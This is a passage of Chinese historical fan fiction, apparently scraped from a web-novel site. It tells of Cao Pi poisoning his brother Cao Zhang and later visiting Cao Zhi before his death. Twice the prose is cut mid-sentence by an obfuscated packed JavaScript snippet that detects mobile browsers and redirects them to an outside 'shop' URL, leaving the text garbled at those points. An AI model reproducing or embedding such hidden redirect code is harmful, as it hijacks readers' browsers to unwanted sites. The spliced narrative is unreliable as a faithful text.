一名内侍正在为曹丕整理冕旒，微微侧身，冕旒上的玉珠串便被人轻轻拨开。 曹丕在望着台下的诸臣。 他在笑。 他的嘴角弯起，眉目舒展，笑意如晴光映雪，这是一位帝王看到江山海清河晏，天下太平的笑。 那一抹笑意很快就被冕旒重新掩盖，但是曹植看见了。 手中玉玦落地，清越的脆响淹没在满殿的纷乱中。 曹植维持着弯腰的姿势，呆呆看着高台上临轩而笑的兄长。 他目之所及的一切都在后退，朝臣的衣冠，诸侯的白璧，殿内的金柱，殿外的高远青天…… 他的耳中听不见任何声音，周遭一切的一切都在倒退，眼中唯有御座之上那抹一瞬即逝的笑愈发深刻。 曹植不禁傻傻地笑出了声，这是四年来，他第一次见兄长笑。 他忽然想起三天前，他伏在兄长肩头哭着问：“若是我真死了，你会为我伤心吗？” 那时兄长没有回答。 但此时此刻，他好像懂了，他的沉默原来并不是无情。 “鄄城王！”监国谒者的声音陡然拔高。 曹彰见状迅速上前替他捡起了那枚玉玦，用衣袖遮住监国谒者的视线，将玉玦塞到了曹植的手心，用力握了一下他的手，小声提醒：“子建。” 曹植如梦初醒，接过玉玦，声音有些飘忽：“……多谢二兄。” “无事。”曹彰看了他一眼，并未多言，退回原位。 监国谒者已到近前，目光凌厉地扫过两人，作恭声提醒道：“诸位王请勿越位、私语、失仪！” 曹植垂下眼，将手中玉玦紧紧攥着，并未理会监国谒者，倒是曹彰等他走了后小声骂了句：“走狗！” 朝贺之后，例行为赐宴。 殿内设有法酒，殿上登歌，四厢乐作，觥筹交错。 曹丕端坐在御座，群臣依次进觞，称颂圣德，他一一颔首回应。 宴至酣处，有大臣起身，恭声道：“陛下，今日会节气，朝贺已毕，天朗气清，可否请鄄城王即席赋诗，以记此盛典？” 此言一出，殿内静了一瞬，接着就是无数道目光投向曹植。 曹丕没有立刻回答，他的视线透过冕旒落在曹植身上。 “子建。”他只唤了字，也没有说作还是不作。 但曹植直接起身离席，走到大殿中央，向御座之上一礼，然后从内侍中接过笔墨，从容落笔颂道： 大魏应灵符，天禄方甫始。 圣德致泰和，神明为驱使①。 …… 满殿都是赞叹声，群臣交头接耳，纷纷赞他“笔力不减当年”“真乃天人之才”。 但曹植却听不见这些，他的心思也不在这些华美的辞藻上，这些不过是张口就来的俗物。 就在即将完成时，他不由自主地想到了那扇窗，想到了兄长那一抹临轩而立的笑意，笔尖顿在半空。 周围正等着他下一句的大臣们面露疑惑，只见曹植在众人眼前抬首望向御座之上的人。 他们隔得很近，明明几步就能到对方面前。但又好像隔得很远，被珠帘，被冕旒，被许多看不见的东西所阻隔。 随后他落笔，写下了与整首诗词风截然不同的句子： “陛下临轩笑，左右咸欢康。” 随着他这句话一出，整座大殿落针可闻。 这是僭越。 朝会赋诗，本当颂扬圣德，记述盛典，鄄城王以臣子之眼描摹天子仪态，已是冒犯。 如今更是直书“陛下临轩笑”，更是将天子私密的神情袒露在众臣面前。 这是窥视天颜，这是大不敬！ 曹植将剩下的几句写完，任由内侍将缣帛呈至御前。 曹丕接过，看着那行与全诗格格不入的句子良久。 殿内群臣皆屏息敛气，不敢吱声，而曹植却坦荡地直视御座之上的曹丕，他在等一个回应。 终于，曹丕抬起头，声音没有过多的起伏：“子建此诗，甚好。” 他没有说僭越，也没有问为何，更没有以任何方式追究这直白的冒犯，他只是默默将缣帛收在案上，说了声“甚好”。 这既然是陛下默许的，殿内诸臣也松了口气，重新恢复宴饮的欢愉。 大宴之后，是曹丕专为藩王设置的家宴。 建始殿内烛火通明，诸王依次向御座敬酒，曹丕面带得体的笑容一一饮尽。 曹植坐在曹彰身侧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317243|198975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，手边是一盏未尽的酒，沉默地看着御座之上那人一杯又一杯地将酒饮尽。 “子文。” 不知过了多久，曹丕放下酒盏，目光越过满殿藩王落在曹彰身上：“朕与你许久未见，不若至偏殿手谈一局？” 这对话来得突兀，殿内所有亲王都各怀心思地望着曹彰。 陛下与任城王，虽是一母同胞，但平日并无深交，亦无旧怨，为何忽然在此时召其独对？ 曹彰没有动，他只放下手中酒盏，坐在席间直直迎上御座之后那双深不见底的眼睛。 良久，他起身向曹丕行了一礼：“臣，遵旨。” 偏殿的大门被内侍合上，殿内陈设简单，只有中央的一张朱红桌案，两席分列。 曹丕走向一侧，自顾自落座。 曹彰立在门前，先环顾四周，侧殿内空空荡荡，除了灯盏和中央的红案外，再无其他，也没有任何能藏人的地方。 他大步走到曹丕对面坐下，打量着桌案，案上也只有一副棋盘，两篓棋子，以及一碟新贡的青枣。 “朕与黄须儿。”曹丕执起一枚黑子，落在棋盘上，声音平淡，“也是许久未见了。” 落子后，他随手拈起一颗青枣送入口中。 曹彰坐在席上，亦伸手取了一颗白子，却没有立刻落子。 四年…… 四年前，父亲薨于洛阳，他自长安领兵奔赴，在邺城城门外与贾诩对峙。 他手里握着兵符，身后是数万边关铁骑，彼时只要他一声令下，那么今日坐在御座之上受百官朝见之人是谁还未可知。 但他最终没有下令，因为子建说：大兄已立，父亲遗诏如此。 因为子建说：二兄，算了，昔日袁氏兄弟因内讧覆亡，我不愿兄弟相残，动摇国本。 因为子建不愿，所以他算了。 这四年来，他蛰伏封地，暗遣心腹，联络北边旧部，招揽塞外游骑。 他所走的每一步都小心翼翼，每一步都如履薄冰，只为时机一至，便可拥立曹植为帝。 他落下一子，笑道：“兄长这是什么话，我们不过四年未见罢了。” “四年啊……”曹丕执起又一枚黑子悬于空中，另一只手又拈起一颗青枣送入口中。 原来在旁人眼里，四年并不长啊…… 那为什么某个爱哭鬼，两年未见，就急得又是劫胁使者，又是假死投书，又是赤足诣阙，只为见自己一面。 思及此处，曹丕嘴角轻扬，然后将那枚黑子落在棋盘上。 “黄须儿昔日北定代郡，威震塞外，”他抬眸直视曹彰，神色淡漠，“朝中诸将，无不服我任城王骁壮。” 他将一切都挑明了说，他可以给曹彰一条生路，曹彰若是此刻收手，那一切尚可挽回。 他是帝王，也是兄长。一母同胞，他也不想把事情做绝。 但曹彰听到这句话的瞬间就目光一沉。 “兄长这是什么意思？” 曹丕没有立刻回答，只看着棋盘，又从碟中拈起一颗青枣送入口中，叹了口气：“你明白的。” 曹彰猛然起身，因为动作太急，带动桌案，棋盘上的棋子一阵晃动，被曹丕稳住。 他俯视着对面稳坐如山的兄长，深吸一口气，愤愤道：“若非子建不与你争，你以为如今皇位上坐的还是你吗？” 他盯着曹丕，胸口剧烈起伏：“父亲属意的是他！从始至终都是他！” 殿内烛火幽幽，映照在两人身上，投下两个截然不同的黑影。 曹丕甚至都没有看他，低头看着棋盘，然后从曹彰的棋篓里取出一枚白子，落在棋盘上。 “自然会是朕。” 他又执起己方的一枚黑子，思索再三后落在白字旁，“子文，你太天真了。” 到这时他才抬眼看向自己这个骁勇善战的弟弟，目光平静幽深：“世子之争，素来如此。” “父亲把一切都安排好了。你以为司马门事件是子建失势的开始，你以为那是他的败笔？”他轻笑一声，摇了摇头，又从曹彰的棋篓里拿出一枚白子落在棋盘。 “其实那是父亲对他的慈悲。” 曹彰站在原地，眼中满是不可置信：“……你说什么？” 曹丕只自顾自地对弈，中途再次拈起一颗青枣送入口中：“你和子建都已封侯时，我却是五官中郎将。你可曾想过，这是为何？” 他抬眸，看向曹彰，贴心地帮他解释道：“五官中郎将，位同副丞，这可是实权职位。” “你还不明白吗？父亲在养蛊，他需要为他的继承人找一块磨刀石。至于这块磨刀石是谁，我想也不必我多说。” 曹彰站在原地说不出话，但握拳的手还是昭示了他内心的不平。 曹丕继续从曹彰的棋篓里取出一枚白子，“他做世子，诸臣服他，是因他才华盖世。我做世子，诸臣服我，是因我已在那场漫长的磨砺中，学会了如何让一切阻碍都变得顺理成章。” 听到此处，曹彰的手再也忍不住，狠狠锤向身旁精美的画壁，他想反驳，却不知道从何驳起，只能伸出手指向曹丕，声音沙哑：“你……” 曹丕没有看指向自己的那只手，淡淡道：“子文，坐下，太失礼了。” 曹彰怔怔地站在原地，闭上眼不知在想什么，良久，他缓缓坐下，看着棋盘上已经被重重包围的白子一言不发。 “我是最像父亲的人，所以我很明白他心里在想什么。”曹丕说着，勾唇一笑，将手边还剩半盘的青枣推到曹彰身前。 “此枣新贡，味甚甘美。弟可尝之。②” 6. 迷梦 黄初六年，冬。 东征班师的车驾自广陵北还，曹丕坐在车内，身上裹着厚厚的裘衣，却仍感觉寒意刺骨。 他手中握着一块缣帛，身前医师自入车以来便伏地不敢再起。 曹丕的目光落在手中这份脉案上，上书只所写寥寥几字：脉气将绝，真元耗散，虽汤药不可复也。 他不是贪生怕死之人，昔年他与景兴游宴，席间谈及生死，他曾说：人生有七尺之形，死为一棺之土，余独何人，能全其寿？① 那时他说这话时，子建就在席间举着酒盏笑吟吟地给他敬酒。 他记得那个笑，也记得很多事。 他记得黄初二年嘉福殿前殿，子建伏在他怀里说“我怕的是你不来见我”。 也记得黄初四年会节气，他站在建始殿西房的窗边，看着台下捧璧而立的玉面郎，悄悄看了很久。 昔年朱建平为他相面，说他四十有大灾厄，没想到如今便要兑现。 可他还有功业未成，他还未西征孙权统一大魏。 他不甘心啊！他还有很多话未说，很多事未安排。 以及……放不下黄初四年，曹植被送回封地时，在洛阳城门口的回望。 那一天，曹植的眼里有恨，他也是第一次在曹植的眼里看到对自己的恨。 再然后，他便决绝地转过身去，一次也没有回头。 两年来，每每午夜梦回，他都能梦到那天城门处的身影，在问自己为什么要杀了二兄。 可对于子文的死，他虽有愧，但却不悔。 曹彰联合旧部，欲在会节气时举兵。他若不杀，社稷何安？朝堂何安？ 若子文事成，他固然一死了之，但那些追随他的人，那些将赌注压在他身上的人，都会如何呢？ 他不能赌，只要曹彰乖乖退兵，他作为兄长可以留他一命。可曹彰不平啊，他是兄长，亦是皇帝，他只能将那一盘毒枣推过去。 往事如梦，他将手中帛书握紧，闭上眼。 “此事，勿泄于外。”他挥了挥手，声音中带着疲惫，“你下去吧。” “喏。”医师再次俯身大拜，膝行退出车舆。 曹丕一个人在车内枯坐了不知多久，忽然高声开口问道：“现已至雍丘了吗？” 车外随行内侍的声音传来：“回陛下，还未至。” 曹丕沉默片刻，掀开车帘看向外边肆意的风雪：“传朕的令，朕与雍丘王多年未见，既然顺路，那便……便去叙叙旧吧。” “喏。” 车外马蹄声渐行渐远，他亲眼看着传令的使者没入风雪之中，才放下车帘靠在车壁上。 刚才掀开帘子的冷风让他喉中发痒，想咳却咳不出来，因为他在紧张。 他是九五之尊，是大魏的开国皇帝，可是此刻竟也会为了即将见到一个人而紧张。 只因那个人是他弟弟，那个人恨他，恨他这个兄长杀了另一个兄长。 自从那次子文，从建始殿内被抬出去报的急病暴毙后，他看向自己的眼里好像就只有恨了。 子文的死，就像隔在他们之间的一条看不见的鸿沟，让他们再也回不去。 不过，曹丕将头靠在车壁，望着精美的华盖，会恨也好得很…… 哪怕这次见面会不愉快，哪怕这次子建依旧会用那种愤恨的眼神看他，可他还是想见他，想见他最后一面。 他长叹一口气，像是是把心中的郁结疏通，终于猛咳出声，仓促下只能以袖掩唇，等再看时，袖上尽是刺目的鲜血。 “陛下？”车外的随侍循声问道。 “无事。”曹丕干脆直接用袖口将嘴边残留的血擦尽，“拿件新外袍来。” 很快内侍将新外袍恭敬递上，透过车帘掀开的一角能看见远方渐渐浮现的城墙轮廓。 雍丘，到了。 车帘掀开时，冷风扑面而来，激得他喉咙又在作痒，但这次他忍着没有咳出来。 雍丘城前的风雪中，曹植身着亲王朝见的礼服，那张脸低垂着。 既不会像二十岁时在铜雀台上那样作赋完悄悄寻找自己的身影，也不会像两年前会节气大宴上，当着众臣的面毫不畏惧地看向自己。 这次的他端正又守礼，平静地有点陌生。 曹丕起身下了车，风雪更盛，但他恍然未觉，只一步一步向城门走去，站在曹植的身前。 曹植没有抬头，他躬身行礼，声音平静：“臣雍丘王植，恭迎陛下。陛下车驾远道而来，臣已备暖阁，请陛下入内歇息。” 曹丕看着他一言不发，两人离得极近，可能是知道自己命不久矣，他想说点什么，明明从前是子建一见自己，就围上来说个不停，如今倒是反过来了。 但他最终还是什么都没说，只轻轻点头：“好。” 暖阁在雍丘王府的深处，一路上曹植安分地在前引路，曹丕却一直在正大光明地打量他。 曹植本来在前引路，但身后频繁的咳嗽声还是让他垂于袖边的手握紧又松开。 两人于暖阁对坐，之间只隔着一张案几、一壶酒、两盏杯，更多的还是时隔两年的沉默。 外间风雪愈下愈大，暖阁陈设虽然清简，但内里却是温暖如春，让曹丕苍白的面色也红润了些。 曹植只静静地端坐在那里，低头看着桌案，仿佛面前之人不是曾经的兄长，只是一个必须要接待的君王。 “你怎么一直低着头？” 听到问话，曹植也依旧是面无表情地低垂着头，恭声答道：“天家威仪，不可直视。” 曹丕看着面前这张熟悉又陌生的脸，子建从前是最爱笑的，铜雀台上，西园池畔，芙蓉宴中，哪一次不是笑得眉眼弯弯。 后来自他登基后，他又变得爱哭，两次嘉福殿中的哭诉，明明都多大的人了，却还哭得像个被抛弃的孩子。 可是现在这张脸上又变了，变得什么都没有，甚至连他方才预想的恨都没有。 若是他恨我倒也罢了，可这种平静反而是曹丕最不想看到的。 心头五味杂陈，其实不来见他是最好的，反正自己也命不久矣。可他还是想来见曹植一面，哪怕他并不想见自己。 就是不知道自己死后子建会不会像仲宣逝世时那样，大家一起学驴叫来送他。 应该不会吧？毕竟藩王无召不得进京，可他心里还是会有一种隐秘的期待。 若是可以，就不用子建学驴叫了，有机会在他的墓前放满葡萄和甘蔗吧，他喜欢吃。 反正自己终归是要走在他前头的。 就这样想着，曹丕不禁笑出了声，他端起酒盏：“子建，许久未见，兄长敬你一杯。” 听到他将自己唤作兄长，曹植微微皱了皱眉，但还是端起自己的酒盏和曹丕轻轻一碰。 “陛下如此礼待臣，臣实在惶恐。”这次他终于抬眸看向曹丕，“且陛下说笑了，不过两年而已，又怎能称得上许久未见。” 曹丕执杯的手微微一顿，杯中酒液险些洒出。 但他终究是什么也没说，将酒液一饮而尽，那酒入喉带着辛辣，却又酸涩非常。 曹植看着手中澄澈的酒液，酒液中倒映出他晦暗不明的双眼。 突然问道：“陛下，臣有一事始终不明，还望陛下告知。” 曹丕抬眼直视曹植，那双眼终于不再是刚才那么空洞守礼什么都没有的样子了。 他不知为何竟然有些高兴，那眼里有东西在动，恨也好，痛也罢，总比什么都没有好。 “你问。” 曹植放下酒盏，亦回望他的眼睛：“二兄之死，究竟是暴疾，还是……” 剩下的话他没有说完，也不必说完，未尽之言他们都懂。 曹丕并未直接回答他，反而重新为自己倒上一杯酒。 清澈的酒液入盏，映着炭火的红光，那光随着倾倒的动作一跳一跳，像是很多年前鄄城老宅里的烛火。 那时他们兄弟三人围坐在一起，子文会笑着揉子建的脑袋，将他的脑袋揉的一团乱，而后撇着嘴找自己告状。 他会假装训斥子文哄他，子文也会大喊“兄长偏心”然后背过身去等着子建来道歉。 那时他们都还小，小到不知道有一天，同母兄弟也会相残。 酒重新倒满，他抬眼看向曹植：“是我。” 曹植坐在席间，仰起头闭上眼，脑海中是朝见那一日二兄笑着说送自己一份大礼的神情，他浑身颤抖，手缓缓摸上自己腰间的礼剑。 只一瞬间，他就起身将剑拔了出来，剑锋直指曹丕。 他的手在抖，剑也在抖，寒光在两人之间明明灭灭，方才的所有克制守礼全都烟消云散。 曹植睁着眼，眼眶通红，泪水夺眶而出：“真的是你……竟然真的是你！” 曹丕低头看着指向自己的那柄剑，忽然笑了一下，他将自己新倒的那杯酒仰头饮尽。 伸手拔出了自己腰间的飞景剑在眼前用手拂过，剑身修长，寒光凛凛，乃是他亲手所铸。 他将剑柄调转，剑锋朝向自己，直接递了过去。 “既然想杀我。”他眼里全是坦然，没有一丝惧怕，“就用飞景，拿柄未开锋的礼剑做什么，连一层皮都削不掉。” 曹植愣在原地，心中大恸，他当然知道这是礼剑，就因为这是礼剑，他才会将它拔出。 这两年，他只要想到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317244|198975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曹彰从建始殿被抬出去的那个模样，就逼自己去恨曹丕。 可恨来恨去，最终拔出来的，还是一柄未开锋的礼剑。 他忍住心中悲痛，深吸一口气，手中的礼剑也掉落在地上，发出沉重声响。 “为什么？” 他一步一步后退，直到撞上了墙，才慢慢沿着墙壁滑坐下去，蜷缩在墙角，双手抱着头无声地流泪。 曹丕偏过头不去看他，起身收了飞景剑，而后走到炭盆边，从袖中取出一块缣帛扔了进去。 炭火烧得正旺，火舌瞬间就将它吞没，发着轻微的噼啪声，在只有两人的房间显得格外清晰。 曹丕看着盆中的脉案在高温下卷曲焦黑，化为灰烬，消散在暖阁的空气中，缓缓说道： “子文联合旧部，欲在会节气之时发动兵变，被校事提前拦截递了上来。” 身后没有回答，只有压抑的抽泣声。 曹植并不意外这个答案，他知道兄长说的是真的。 建始殿那晚过后，他就一直在想二兄口中的大礼是什么，他早该明白的，如果他能早早劝住二兄，这一切是不是不会发生。 曹丕没有回头，他的手在炭盆边停了很久，仿佛知道他在想什么般，轻声说道：“子建，别多想。” 他转身走到曹植面前蹲下，脸上是温和的笑意：“此事，非你之错，非我之错，亦非子文之错，你切莫多想。” 曹植蜷缩在墙角，只看着他摇头流泪，泪水濡湿了整张脸。 曹丕伸出手先是将他额前散落的发丝轻轻拨到耳后，而后动作温柔地用拇指将他脸上的泪抚尽。 “兄长要走了。” 他说这句话的时候是带笑的，像是交代完所有的事，带着一种释然。 就在曹丕起身离去的时候，他的衣袖被一只手拽住，他低头看着，然后见那只手又松开了。 曹丕径直走到门边拉开了门，冷风夹杂着夜雪灌了进来吹得屋内炭火一暗。 原来，已经这么晚了…… “子建。”他没有回头，目视着前方的黑夜，“这些年，兄长一直将你留在封地……对不住。” 就在他迈出门槛的刹那，身后传来一声撕心裂肺的呐喊： “兄长——！！！” 曹丕停了脚步，他没有回头，也不敢回头。 他怕一回头就能看见那张泪流满面的脸，这样他就走不了了。 更害怕一回头就看见那个蜷缩在墙角的身影，他会像小时候那样走过去抱住他说“子建不怕，兄长在这里。” 你恨我，可你知不知道，我也想你。 他没有回头，就这样走进风雪中，一次也没有。 ———————— 史书记载： 黄初六年，东征，还过雍丘，幸植宫，增户五百。 ——《三国志·曹植传》 没人知道那一天暖阁里到底发生了什么，雍丘王府的侍从只知道，雍丘王在皇帝离开后，独自在暖阁里坐了一夜。 那夜的风雪很大，大到将许多未尽之言，未明之事都掩埋。 后来当他想尽所有未明事后，写下： 今皇帝遥过鄙国，旷然大赦，与孤更始，欣小和乐以欢孤，陨涕咨嗟以悼孤。 ——《黄初六年令》 欣笑和乐以欢孤，陨涕咨嗟以悼孤。 他以为终于可以和兄长更始之时，却只等来了皇帝驾崩的消息…… 他只能将满腹痛苦镌刻成《文帝诔》上的追慕三良，甘心同穴。 那个心中最在意的人，没有死在最爱他的那年，没有死在最恨他的那年，死在了以为终于要和好的那年。 —————————— 窗外的雨还在下，曹植从梦中醒来。 他伏在案上，不知何时竟然睡着了，身下是一方新缣，上面还未写任何笔墨。 室内迷迭香的香饼已经燃尽了，窗外的冷雨夹杂着凉气，将屋内最后的一点暖意席卷一空。 曹植呆呆地望着这方素缣，脑中回想起那句“兄长要走了”，起身去榻上枕边拿出一个锦盒。 他伸手打开，里面除了许多和兄长有关的诗赋外还有一个玉玦，这是他珍藏多年的东西。 那枚玉玦上有着一些细碎的裂痕，好像是黄初四年那一次摔的，记不清了。 但是没关系，他已经仔细补好了。 他站在那看了很久，将那枚玉玦收至心口贴身放好，转身走回案边，将那张写有“太和元年”的缣帛拿出，扔进了香炉。 接着他坐回案边提笔： 黄初八年正月，雨，而北风飘寒，园果堕冰，枝干摧折。